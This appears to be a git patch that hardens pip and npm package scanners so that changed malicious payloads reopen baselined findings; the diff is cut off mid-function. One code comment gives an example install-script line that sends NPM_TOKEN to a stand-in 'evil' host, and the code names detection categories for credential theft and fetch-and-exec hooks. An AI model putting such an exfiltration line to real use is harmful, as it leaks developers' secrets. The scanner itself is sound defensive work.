(above the largest real entry), and the npm baseline is empty, so a Python 3.12
regenerate is byte-identical.

* scan: refresh baseline for ipython interactiveshell.py span drift

A newer ipython release changed the filesystem-enumeration span in
IPython/core/interactiveshell.py, so its content digest no longer matched the
baselined evidence and the studio scan shard flagged it as a non-baselined
CRITICAL. Regenerated with Python 3.12: only the ipython entry's evidence_hash
changes; the package/file/check key set is unchanged, and a studio enforcing
spot-check exits 0.

* Bound scanner evidence memory: stream overflow spans and cap lifecycle baseline size

scan_packages.py: _extract_evidence no longer materializes a rendered span
per match before slicing at the display cap. Once out holds _MAX_EVIDENCE_SPANS
spans, further spans fold straight into a running digest, so a minified or
padded file with hundreds of thousands of matching lines keeps memory bounded
to the display cap instead of the match count. The fold reproduces
_canon_evidence(" | ".join(overflow)) byte for byte, so the overflow digest and
every baseline key are unchanged.

scan_npm_packages.py: lifecycle-fetch-exec and cred-path-in-lifecycle stored the
entire install script body as evidence, so --write-baseline on a package with a
multi-MiB lifecycle script bloated the baseline JSON. Both now store a bounded
matched snippet plus a body-sha256 digest, matching cred-env-in-lifecycle. The
digest still binds the whole body, so a change to any line reopens the finding.

Adds tests for the streamed overflow bound and the bounded-but-reopens lifecycle
evidence. Baseline unchanged (byte-identical Python evidence; npm baseline empty).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make npm bracket-group scan order-aware so a same-line close-then-open binds

_scan_group counted brackets with a per-line net (opens minus closes), which
collapses intra-line order: a line that closes a prior block and then opens the
host-config object on the same line, e.g. `}); const opts = {`, nets to <= 0, so
the trailing `{` was dropped and the group started at the hostname line. A
changed path/headers on the following lines then hashed to the same evidence and
could ride an existing baseline key.

Replace the net count with an order-aware (L, R) reduction per line (L closers
needing an opener to the left, R openers needing a closer to the right) and apply
it in order in both the backward and forward scans, clamping stray closers at 0.
The trailing opener now stays visible so the whole object binds and a changed
payload reopens. Per-line cost is unchanged (one C-level bracket findall), so the
existing outbound-host evidence is byte-identical on all prior shapes; only the
previously-dropped same-line case changes. Adds a regression test for it.

* Harden scanner evidence: bound memory and bind Python call tails fail-closed

Five fixes across both scanners, none of which change the committed baseline (a
full regen of all three pip shards produced a byte-identical 185-key set).

scan_npm_packages.py: _evidence and _outbound_host_evidence collected every regex
match into a list before applying the 64-match display cap, so a text file under
the size cap that repeats a cheap signal (such as NPM_TOKEN) millions of times
could allocate a huge list of re.Match objects and stall or OOM before the
overflow digest ran. They now stream from finditer and fold overflow as matches
arrive via a shared _fold_overflow_match helper, byte-identical to the prior
digest.

scan_packages.py:
- _extract_evidence kept inserting every unique over-cap span into the seen set
  even after it stopped appending to the display list, so a generated file with
  millions of one-line matches still grew that set unbounded. It now tracks spans
  only while filling the display list (per-line spans are unique by line number,
  so dropping them past the cap cannot miss a dedup).
- _scan_line_end counted brackets with a per-line net, so a continued statement
  that closes on the same line it opens a flagged call (a leading "]" before
  "requests.post(") had the call's open paren cancelled and bound only the opener
  line. It now applies brackets in order via _bracket_lr (leading closers clamp at
  0), matching the npm bracket fix.
- a single-quoted string continued by a trailing backslash was not tracked across
  lines, so a close paren inside the continued string on the next line closed the
  call early; _blank_code_strings now carries the continuation.
- a call with more argument lines than the soft cap was hashed only through the
  cap, so a changed data=/headers tail past it stayed suppressed; a closing call
  is now followed to its real close under a 200-line hard limit (a never-closing
  opener still stops at the 40-line soft cap so it cannot swallow the file).

Adds regression tests for each. npm baseline is empty; the Python baseline is
unchanged (verified byte-identical by regenerating all three shards).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Bind giant DOTALL span anchors and add context to constant IOC evidence

Two fail-closed gaps where a changed payload could keep the same evidence hash
and stay suppressed by the baseline.

scan_packages.py: a giant greedy DOTALL span (a cross-line IOC match bridging
more than 60 lines, e.g. RE_TEMP_EXEC matching a /tmp line and a much-later
subprocess line) was dropped entirely once the per-line pass had any match, so an
appended cross-line payload -- a new /tmp line plus a later subprocess line that
share no single line, so the per-line pass never binds them -- produced the same
evidence and rode the key. The span is no longer dropped: it is bound by its head
and tail anchor lines plus a digest over just those (no line numbers, so a pure
line shift is stable). An added or moved anchor reopens the finding, while churn
in the bridged interior stays stable, so this does not reintroduce whole-file
drift. Two baseline entries (multiprocess test, unsloth-zoo scanner file) carry
such a span and are refreshed; a full three-shard regen confirmed only those two
keys change.

scan_npm_packages.py: known-ioc-string and cred-surface-host (always-bad) recorded
only the bare needle/host as evidence, so a reviewed tarball that kept the IOC
string while altering the adjacent fetch/exfil body produced an identical key.
They now bind matched-line context: known-ioc-string via the matched line and its
bracket-group continuation, cred-surface-host (always-bad) via the outbound call
context (path/headers/body, falling back to the bare host when not in an outbound
call). A changed payload on the same call now reopens.

Adds regression tests for each. npm baseline is empty; the Python baseline updates
only the two giant-span entries.

* Hash giant-span interiors, bind exec/eval trigger, JS content, intra-literal whitespace

Four fail-closed gaps where a changed payload could keep the same evidence hash.

scan_packages.py:
- A giant bridged DOTALL span was bound only by its head and tail anchors, so a
  cross-line payload inserted into the bridged interior between unchanged outer
  anchors kept the same key. The whole span content is now digested (via _render),
  so any interior change reopens; a pure line shift stays stable because the digest
  is over the markerless code. Two baseline entries (multiprocess test, unsloth-zoo
  scanner file) carry such a span; with full-interior binding, multiprocess
  resolved at two versions across shards now yields two distinct entries where the
  anchor digest had collapsed them into one.
- The exec/eval-with-hidden-payload findings omitted the visible exec/eval line
  that makes the hidden string executable, so flipping a harmless eval("1+1") to
  exec(__doc__) kept the same key while arming the payload. The trigger line from
  the real-code view is now bound into the evidence.
- check_js_file extracted evidence with the Python-string-aware extractor, which
  does not blank JS backtick template literals, so a template containing a close
  paren closed a call's bracket span early and omitted later option/body lines. The
  full file content digest is now pinned to every JS finding (not just large
  bundles), binding the whole call.

scan_npm_packages.py: the evidence canon collapsed all whitespace via split(),
erasing whitespace inside JS string literals along with harmless indentation, so a
changed request body 'a b' -> 'a  b' kept the same key. A new _canon_preserve_strings
collapses whitespace only OUTSIDE string literals (reindent-stable) while preserving
it INSIDE single/double/backtick literals (intra-payload edits reopen). Used for the
evidence hash and the logical-line digests.

Adds regression tests for each. npm baseline is empty; the Python baseline updates
the two giant-span entries and adds the second multiprocess version's entry.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 scripts/scan_npm_packages.py             | 535 +++++++++++++-
 scripts/scan_npm_packages_baseline.json  |   4 +-
 scripts/scan_packages.py                 | 595 ++++++++++++++--
 scripts/scan_packages_baseline.json      | 800 +++++++++++++--------
 tests/security/test_scan_npm_packages.py | 541 +++++++++++++-
 tests/security/test_scan_packages.py     | 866 ++++++++++++++++++++++-
 6 files changed, 2917 insertions(+), 424 deletions(-)

diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py
index c1d156d40a..47b85147ca 100644
--- a/scripts/scan_npm_packages.py
+++ b/scripts/scan_npm_packages.py
@@ -40,8 +40,10 @@ from __future__ import annotations
 import argparse
 import atexit
 import base64 as _b64  # imported only so the IOC string-scan can detect it
+import bisect
 import hashlib
 import io
+import itertools
 import json
 import os
 import re
@@ -897,20 +899,364 @@ def safe_extract(
 # ─────────────────────────────────────────────────────────────────────
 
 
+# How far back to look for an enclosing bracket opener. Symmetric with the
+# forward cap so a host that sits deep inside a large options object (its opening
+# `{` many properties above) still binds the whole object, not just its own line;
+# a too-far start only over-binds (more context, still fail-closed), never less.
+_MAX_CONT_LINES = 200
+# Hard cap on how far forward a bracket group is followed to its close, measured
+# from the matched line so the tail after the match is always reachable even when
+# the opener was found near the backward limit (digest input only, never
+# displayed); a realistic config object closes well within it.
+_MAX_GROUP_LINES = 200
+
+# JS string literal (single / double / template), blanked before counting
+# brackets so a bracket inside a string is not mistaken for code.
+_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")
+
+
+_RE_BRACKETS = re.compile(r"[()\[\]{}]")
+_OPENERS = frozenset("([{")
+
+
+def _bracket_lr(line: str) -> tuple[int, int]:
+    """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)``
+    where ``L`` is the count of closers with no opener earlier on the line (they
+    need an opener to the LEFT / on a prior line) and ``R`` is the count of openers
+    with no closer later on the line (they need a closer to the RIGHT / on a later
+    line). A plain net count (opens minus closes) collapses order and so masks a
+    trailing opener that follows leading closers on the same line, e.g.
+    ``}); const opts = {`` nets -1 and hides the ``{`` that opens the host-config
+    object; tracking the running minimum keeps that opener visible so the group
+    binds the path/headers that follow. Only bracket characters are walked (pulled
+    out with one C-level regex pass) so a long minified line stays cheap."""
+    depth = 0
+    low = 0
+    for ch in _RE_BRACKETS.findall(line):
+        if ch in _OPENERS:
+            depth += 1
+        else:
+            depth -= 1
+            if depth < low:
+                low = depth
+    return -low, depth - low
+
+
+def _find_unescaped(line: str, quote: str, start: int) -> int:
+    """Index of the next ``quote`` at or after ``start`` not escaped by a backslash,
+    or -1. Skips ``\\x`` pairs so an escaped quote inside the string is ignored."""
+    i, n = start, len(line)
+    while i < n:
+        if line[i] == "\\":
+            i += 2
+            continue
+        if line[i] == quote:
+            return i
+        i += 1
+    return -1
+
+
+# A `/` is a regex literal (not division) when the previous significant character
+# is none (start) or one of these expression-position chars. Used only by the
+# multi-line blanked view, and the span is unioned with the single-line view, so
+# an over- or under-detection only ever grows the bound span (never shrinks it).
+_JS_REGEX_PRECEDERS = frozenset("([{,;:?=&|!+-*/%^~<>")
+
+
+def _blank_js_strings(lines: list[str]) -> list[str]:
+    """Replace string contents (single, double, multi-line backtick template
+    literals) AND regex literal bodies with spaces across ``lines``, keeping the
+    line count and every bracket OUTSIDE a string/regex intact, so bracket counting
+    never miscounts a ``)`` that lives inside a string -- including a template
+    literal spanning several lines or a ``/)/`` regex -- which a per-line regex
+    cannot blank. Escapes are honoured."""
+    out: list[str] = []
+    in_back = False  # inside a multi-line `template` literal
+    prev_sig = ""  # last significant non-space char (for regex-vs-division)
+    for line in lines:
+        buf: list[str] = []
+        i, n = 0, len(line)
+        while i < n:
+            if in_back:
+                end = _find_unescaped(line, "`", i)
+                if end == -1:
+                    buf.append(" " * (n - i))
+                    i = n
+                else:
+                    buf.append(" " * (end - i + 1))
+                    i = end + 1
+                    in_back = False
+                    prev_sig = "`"
+                continue
+            ch = line[i]
+            if ch in " \t":
+                buf.append(ch)
+                i += 1
+                continue
+            if ch in "'\"`":
+                end = _find_unescaped(line, ch, i + 1)
+                if end == -1:
+                    buf.append(" " * (n - i))
+                    i = n
+                    if ch == "`":  # opens a template literal that runs past this line
+                        in_back = True
+                else:
+                    buf.append(" " * (end - i + 1))
+                    i = end + 1
+                prev_sig = "v"  # a string is a value: a following `/` is division
+                continue
+            if ch == "/" and (prev_sig == "" or prev_sig in _JS_REGEX_PRECEDERS):
+                # Regex literal: blank to the closing unescaped `/` outside a `[...]`
+                # char class. A regex never spans lines, so no close on the line
+                # means this `/` is really division.
+                j, in_class, closed = i + 1, False, False
+                while j < n:
+                    c = line[j]
+                    if c == "\\":
+                        j += 2
+                        continue
+                    if c == "[":
+                        in_class = True
+                    elif c == "]":
+                        in_class = False
+                    elif c == "/" and not in_class:
+                        j += 1
+                        closed = True
+                        break
+                    j += 1
+                if closed:
+                    buf.append(" " * (j - i))
+                    i = j
+                    prev_sig = "v"  # a regex is a value
+                    continue
+                buf.append(ch)
+                i += 1
+                prev_sig = "/"
+                continue
+            buf.append(ch)
+            i += 1
+            prev_sig = ch
+        out.append("".join(buf))
+    return out
+
+
+def _index_text(text: str) -> tuple[list[str], list[str], list[str], list[int]]:
+    """Precompute once per evidence call: raw lines for display, two string-blanked
+    views for bracket counting (single-line via regex = legacy, and multi-line
+    aware so a template literal spanning lines is blanked), and newline offsets for
+    O(log n) offset-to-line mapping. Avoids re-splitting and re-counting the whole
+    file on every single match (which was O(matches x file size))."""
+    lines = text.split("\n")
+    sl_blanked = [_RE_JS_STR.sub("", ln) for ln in lines]
+    ml_blanked = _blank_js_strings(lines)
+    nl = [p for p, ch in enumerate(text) if ch == "\n"]
+    return lines, sl_blanked, ml_blanked, nl
+
+
+# Cap on formatted matches in one evidence string; beyond it the remaining match
+# texts are folded into a single digest so a huge/minified file cannot build a
+# multi-megabyte evidence blob while an added/removed match past the cap still
+# changes the key.
+_MAX_EVIDENCE_MATCHES = 64
+
+
+def _scan_group(blanked: list[str], idx: int) -> tuple[int, int]:
+    """(start, end) line indices of the bracket group enclosing line ``idx`` in one
+    blanked view: scan back to the still-open opener, then forward to its close."""
+    # Backward: find the line that opens a bracket still unclosed at the match,
+    # so a match inside a multi-line object starts from the object opener. Each line
+    # is reduced to (L, R) and applied in order: first the L closers consume open
+    # brackets from the running context (a stray closer whose opener is outside the
+    # window only clamps depth at 0, it never goes negative), then the R openers
+    # add to it. Tracking order this way (rather than a single net per line) keeps a
+    # trailing opener visible even when leading closers on the same line net it to
+    # <= 0, e.g. `}); const opts = {`, which a net count would drop -- letting a
+    # changed path/headers after such a line ride the unchanged-hostname key.
+    start = idx
+    depth = 0
+    for j in range(max(0, idx - _MAX_CONT_LINES), idx):
+        left, right = _bracket_lr(blanked[j])
+        if left >= depth:
+            depth = 0  # everything opened so far in the window has closed
+            start = idx
+        else:
+            depth -= left
+        if right > 0:
+            if depth == 0:
+                start = j  # outermost still-open opener begins here
+            depth += right
+
+    # Forward: extend until the group opened at `start` closes past the match. The
+    # same order-aware reduction is used (clamping leading closers at 0) so the
+    # foreign `})` on the opener line does not drive the count negative and stop the
+    # scan before the real close. The cap is measured from the match (`idx`), not
+    # from `start`, so an opener found near the backward limit does not eat the
+    # whole forward budget and drop the path/headers/body that follow the match.
+    depth = 0
+    end = start
+    for j in range(start, min(len(blanked), idx + _MAX_GROUP_LINES)):
+        left, right = _bracket_lr(blanked[j])
+        depth = max(0, depth - left) + right
+        end = j
+        if j >= idx and depth <= 0:
+            break
+    return start, end
+
+
+def _canon_preserve_strings(text: str) -> str:
+    """Whitespace canon that collapses runs OUTSIDE string literals to a single
+    space (so a reindent or spacing change between tokens stays stable) while
+    preserving whitespace INSIDE single/double/backtick string literals (so a
+    changed payload body, e.g. ``'a b'`` -> ``'a  b'``, reopens). A plain
+    ``" ".join(text.split())`` erases both, suppressing an intra-literal payload
+    edit along with harmless indentation. Leading/trailing outside whitespace is
+    dropped; escapes inside strings are honoured. Used for the evidence hash and
+    the logical-line digests so the two stay consistent."""
+    out: list[str] = []
+    i, n = 0, len(text)
+    quote: str | None = None
+    pending_space = False
+    while i < n:
+        ch = text[i]
+        if quote is not None:
+            out.append(ch)
+            if ch == "\\" and i + 1 < n:
+                out.append(text[i + 1])
+                i += 2
+                continue
+            if ch == quote:
+                quote = None
+            i += 1
+            continue
+        if ch.isspace():
+            pending_space = True
+            i += 1
+            continue
+        if pending_space and out:
+            out.append(" ")
+        pending_space = False
+        out.append(ch)
+        if ch in "'\"`":
+            quote = ch
+        i += 1
+    return "".join(out)
+
+
+def _logical_line_text(
+    lines: list[str], sl_blanked: list[str], ml_blanked: list[str], idx: int
+) -> str:
+    """The matched line plus the bracket group it belongs to (the enclosing
+    multi-line object/call, so a changed ``path``/``headers``/body on another line
+    binds). Returns the UNION of the groups found in the single-line-blanked view
+    (legacy: a payload embedded inside a template still counts so its brackets bind
+    the call) and the multi-line-blanked view (a bracket inside a template literal
+    spanning lines no longer closes the group early). Unioning never shrinks the
+    span below either view, so neither blanking strategy can drop a line a
+    malicious change relies on."""
+    s1, e1 = _scan_group(sl_blanked, idx)
+    s2, e2 = _scan_group(ml_blanked, idx)
+    start, end = min(s1, s2), max(e1, e2)
+    return " ".join(lines[start : end + 1])
+
+
+def _format_match(
+    text: str,
+    lines: list[str],
+    sl_blanked: list[str],
+    ml_blanked: list[str],
+    nl: list[int],
+    m: re.Match,
+    max_chars: int,
+) -> str:
+    # The shown snippet is a small window around the match; append a digest of the
+    # full LOGICAL line (the matched line plus its bracket-continuation lines)
+    # whenever the snippet does not already show all of it, so a changed payload
+    # tail, a truncated body, or a multi-line option/header reopens. Offsets are
+    # mapped to line numbers via bisect over precomputed newline positions, so this
+    # is O(log n) instead of rescanning the file prefix for every match.
+    idx = bisect.bisect_left(nl, m.start())  # 0-based line index of the match
+    line_start = nl[idx - 1] + 1 if idx > 0 else 0
+    ke = bisect.bisect_left(nl, m.end())
+    line_end = nl[ke] if ke < len(nl) else len(text)
+    full_logical = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
+    start = max(line_start, m.start() - 30)
+    end = min(line_end, m.end() + 30)
+    snippet = text[start:end].replace("\n", " ")
+    if len(snippet) > max_chars:
+        snippet = snippet[:max_chars] + "..."
+    if snippet != full_logical:
+        # Normalize before digesting, matching _evidence_hash, so a formatter-only
+        # reindent of the bound continuation lines does not reopen -- but preserve
+        # whitespace inside string literals so a changed request/payload body does.
+        canon = _canon_preserve_strings(full_logical)
+        digest = hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
+        snippet = f"{snippet} sha256:{digest}"
+    return snippet
+
+
+def _stream_overflow_digest(
+    matches, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
+) -> tuple[int, str]:
+    """A single digest binding the LOGICAL line (the bound bracket-group context,
+    not just the regex match text) of every overflow match in the iterable, plus
+    the count of matches folded. Streams the matches (any iterable of re.Match) so a
+    huge overflow never materializes a list. Whitespace-normalized to match
+    _evidence_hash so a reindent does not reopen."""
+    h = hashlib.sha256()
+    count = 0
+    for m in matches:
+        _fold_overflow_match(h, m, lines, sl_blanked, ml_blanked, nl)
+        count += 1
+    return count, h.hexdigest()
+
+
+def _fold_overflow_match(
+    h, m: re.Match, lines: list[str], sl_blanked: list[str], ml_blanked: list[str], nl: list[int]
+) -> None:
+    """Fold one overflow match's whitespace-normalized logical-line context into the
+    running hash ``h``. Shared by _stream_overflow_digest and the inline overflow
+    fold in _outbound_host_evidence so both produce the identical digest."""
+    idx = bisect.bisect_left(nl, m.start())
+    ll = _logical_line_text(lines, sl_blanked, ml_blanked, idx)
+    h.update(b"\x00")
+    h.update(_canon_preserve_strings(ll).encode("utf-8", "replace"))
+
+
 def _evidence(
     text: str,
     pat: re.Pattern,
     max_chars: int = 200,
 ) -> str:
-    m = pat.search(text)
-    if not m:
+    # Record every match (not a truncated sample) so an extra match appended to an
+    # already-flagged file changes the evidence instead of riding the first few.
+    # Past _MAX_EVIDENCE_MATCHES the remaining matches are folded into one digest
+    # (binding their logical-line context) so the evidence string stays bounded
+    # while a changed payload past the cap still reopens. The matches are streamed
+    # from finditer rather than materialized into a list: a generated file can
+    # repeat a cheap signal (e.g. NPM_TOKEN) millions of times, and holding a
+    # re.Match per occurrence before applying the cap would stall or OOM the scan.
+    it = pat.finditer(text)
+    shown_matches = list(itertools.islice(it, _MAX_EVIDENCE_MATCHES))
+    if not shown_matches:
         return ""
-    start = max(0, m.start() - 30)
-    end = min(len(text), m.end() + 30)
-    snippet = text[start:end].replace("\n", " ")
-    if len(snippet) > max_chars:
-        snippet = snippet[:max_chars] + "..."
-    return snippet
+    lines, sl_blanked, ml_blanked, nl = _index_text(text)
+    shown = [
+        _format_match(text, lines, sl_blanked, ml_blanked, nl, m, max_chars) for m in shown_matches
+    ]
+    # Fold the rest (past the cap) into one digest as they arrive, never building a
+    # second list. Byte-identical to digesting matches[_MAX_EVIDENCE_MATCHES:].
+    overflow_count, digest = _stream_overflow_digest(it, lines, sl_blanked, ml_blanked, nl)
+    if overflow_count:
+        shown.append(f"(+{overflow_count} more) sha256:{digest}")
+    return " | ".join(shown)
+
+
+def _ioc_evidence(text: str, needle: str) -> str:
+    """Matched-line context (with bracket-group continuation) for a literal IOC
+    needle, so a changed adjacent fetch/exfil body reopens the key instead of
+    riding the bare constant. Falls back to the needle itself if, defensively,
+    nothing matches (the caller only reaches here when ``needle in text``)."""
+    return _evidence(text, re.compile(re.escape(needle))) or needle
 
 
 LIFECYCLE_HOOKS = ("preinstall", "install", "postinstall", "prepare")
@@ -1129,6 +1475,18 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
         body = scripts.get(hook)
         if not isinstance(body, str):
             continue
+        # Pin the whole lifecycle body via one digest shared by every lifecycle
+        # finding below: a script that keeps the matched signal but changes
+        # another line (e.g. swapping `echo safe` for `curl -d "$NPM_TOKEN"
+        # https://evil`) must reopen. The stored evidence is a bounded matched
+        # snippet plus this digest, never the entire body, so `--write-baseline`
+        # on a package with a multi-MiB install script does not bloat the baseline
+        # JSON while the digest still binds the full body. Normalized to match
+        # _evidence_hash so a reindent alone does not reopen, while whitespace
+        # inside quoted strings is preserved so a changed quoted payload does.
+        body_digest = hashlib.sha256(
+            _canon_preserve_strings(body).encode("utf-8", "replace")
+        ).hexdigest()
         if _LIFECYCLE_FETCH_EXEC.search(body):
             findings.append(
                 Finding(
@@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = f"lifecycle-fetch-exec ({hook})",
-                    evidence = body,
+                    evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}",
                     detail = (
                         f"`scripts.{hook}` fetches an external "
                         "resource and pipes/chains it to an "
@@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                         package = pkg.display,
                         filename = rel,
                         pattern = f"cred-path-in-lifecycle ({hook})",
-                        evidence = body,
+                        evidence = (
+                            f"{_evidence(body, re.compile(re.escape(path_substr)))} "
+                            f"body-sha256:{body_digest}"
+                        ),
                         detail = (
                             f"`scripts.{hook}` references {why} "
                             f"({path_substr!r}); install-time access "
@@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = f"cred-env-in-lifecycle ({hook})",
-                    evidence = _evidence(body, _JS_ENV_TOKEN),
+                    evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}",
                     detail = (
                         f"`scripts.{hook}` references a credential "
                         "env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* "
@@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool:
     return False
 
 
+def _outbound_host_evidence(text: str, host: str) -> str:
+    """Evidence capturing the host WITH its outbound context (URL path, fetch
+    call, host config), so a changed path/headers/body reopens the key instead
+    of riding the bare host literal. Falls back to the host if none matches."""
+    host_re = re.escape(host)
+    patterns = (
+        re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE),
+        re.compile(
+            rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}"
+            rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}",
+            re.IGNORECASE,
+        ),
+        # Host-config form: capture the whole line (path/headers/body), so a
+        # changed outbound payload on the same hostname line reopens the key.
+        re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE),
+    )
+    # Record EVERY outbound context for the host, not just the first form that
+    # matches: a file that already has a baselined URL for the host and later adds
+    # a separate host-config request (or a second URL) must change the evidence so
+    # the new payload cannot inherit the old key. Forms are claimed in order, and a
+    # region already claimed by an earlier form is skipped, so the common
+    # single-context case keeps its existing snippet. Each form is capped at
+    # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a
+    # minified file cannot make the overlap check quadratic; once chosen is full
+    # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a
+    # list, so a host repeated millions of times cannot OOM the scan) and an added
+    # context still reopens.
+    lines, sl_blanked, ml_blanked, nl = _index_text(text)
+    claimed: list[tuple[int, int]] = []
+    chosen: list[re.Match] = []
+    overflow_count = 0
+    overflow_hash = hashlib.sha256()
+    for pat in patterns:
+        for m in pat.finditer(text):
+            if len(chosen) < _MAX_EVIDENCE_MATCHES:
+                # Overlap check runs only while filling the display list, so
+                # `claimed` is bounded by the cap and this stays O(cap) per match
+                # (not quadratic), while every later match is still counted below.
+                if any(m.start() < e and s < m.end() for s, e in claimed):
+                    continue
+                claimed.append((m.start(), m.end()))
+                chosen.append(m)
+            else:
+                _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl)
+                overflow_count += 1
+    if not chosen:
+        return host
+    chosen.sort(key = lambda m: m.start())
+    shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen]
+    if overflow_count:
+        shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}")
+    return " | ".join(shown)
+
+
 def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
     findings: list[Finding] = []
 
@@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
     if rel.lower().endswith(_JS_FAMILY_SUFFIXES):
         text = _strip_js_noncode(text)
 
-    # IOC substrings (literal, case-sensitive).
+    # IOC substrings (literal, case-sensitive). Evidence is the matched-line
+    # context (with its bracket-group continuation), not the bare needle: an IOC
+    # host/hash left in place while the adjacent fetch/exfil body changes must
+    # reopen the key instead of riding the constant.
     for needle, (sev, why) in KNOWN_IOC_STRINGS.items():
         if needle in text:
             findings.append(
@@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = "known-ioc-string",
-                    evidence = needle,
+                    evidence = _ioc_evidence(text, needle),
                     detail = f"{why}: {needle!r}",
                 )
             )
 
-    # Cred surfaces, tier 1: hosts with no legit use; bare substring.
+    # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context
+    # (path/headers/body) when present so a changed exfil payload on the same call
+    # reopens; falls back to the bare host when it is not in an outbound call.
     for needle, why in CRED_HOST_ALWAYS_BAD:
         if needle in text:
             findings.append(
@@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = "cred-surface-host (always-bad)",
-                    evidence = needle,
+                    evidence = _outbound_host_evidence(text, needle),
                     detail = (
                         f"references {why} ({needle!r}); no legitimate "
                         "frontend use of this surface"
@@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]:
                     package = pkg.display,
                     filename = rel,
                     pattern = "cred-surface-host (outbound)",
-                    evidence = needle,
+                    evidence = _outbound_host_evidence(text, needle),
                     detail = (
                         f"references {why} ({needle!r}) in an outbound "
                         "call / URL / host config; a defensive blocklist "
@@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]:
                             package = pkg.display,
                             filename = rel,
                             pattern = "known-ioc-string",
-                            evidence = needle,
+                            evidence = _ioc_evidence(text, needle),
                             detail = f"{why}: {needle!r}",
                         )
                     )
@@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N
 
 _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json")
 
-# Bumped when the entry-key semantics change. v2 keys on the package-relative
-# path; v1 stored only a basename, so a v1 entry could suppress a same-named file
-# in a different directory. A pre-v2 baseline with entries is ignored (fail
-# closed) rather than mis-applied.
-_BASELINE_SCHEMA_VERSION = 2
+# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new
+# payload under an already-listed package/path/pattern is not auto-suppressed; v2
+# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline
+# with entries is ignored (fail closed) rather than mis-applied.
+_BASELINE_SCHEMA_VERSION = 3
 
 
 def _norm_pkg_name(display: str) -> str:
@@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str:
     return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f
 
 
-def _finding_key(f: Finding) -> tuple[str, str, str]:
-    """Stable allowlist key: normalized package, package-relative path, pattern."""
-    return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern)
+def _evidence_hash(evidence: str) -> str:
+    """Stable digest of the matched evidence. The npm snippet carries no line
+    markers, so it is already version-stable; whitespace outside string literals is
+    collapsed (reindent-stable) while whitespace inside literals is preserved, so a
+    changed payload body reopens but a formatter reindent does not."""
+    canon = _canon_preserve_strings(evidence or "")
+    return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest()
 
 
-def _load_baseline(path: str) -> set[tuple[str, str, str]]:
+def _finding_key(f: Finding) -> tuple[str, str, str, str]:
+    """Allowlist key: normalized package, package-relative path, pattern, and a
+    hash of the matched evidence -- so changed flagged code under an already-listed
+    package/path/pattern reopens instead of riding the reviewed entry."""
+    return (
+        _norm_pkg_name(f.package),
+        _relpath_in_package(f.filename),
+        f.pattern,
+        _evidence_hash(f.evidence or f.detail),
+    )
+
+
+def _load_baseline(path: str) -> set[tuple[str, str, str, str]]:
     """Load an allowlist JSON into a set of match keys. Missing file -> empty."""
     try:
         with open(path, "r", encoding = "utf-8") as fh:
@@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]:
     except (OSError, json.JSONDecodeError) as exc:
         print(f"  [WARN] could not read baseline {path}: {exc}", file = sys.stderr)
         return set()
+    if not isinstance(data, dict):
+        print(f"  [WARN] baseline {path} is not a JSON object", file = sys.stderr)
+        return set()
     entries = data.get("entries", [])
-    if entries and data.get("version") != _BASELINE_SCHEMA_VERSION:
+    if not isinstance(entries, list):
+        print(f"  [WARN] baseline {path} entries is not a list", file = sys.stderr)
+        return set()
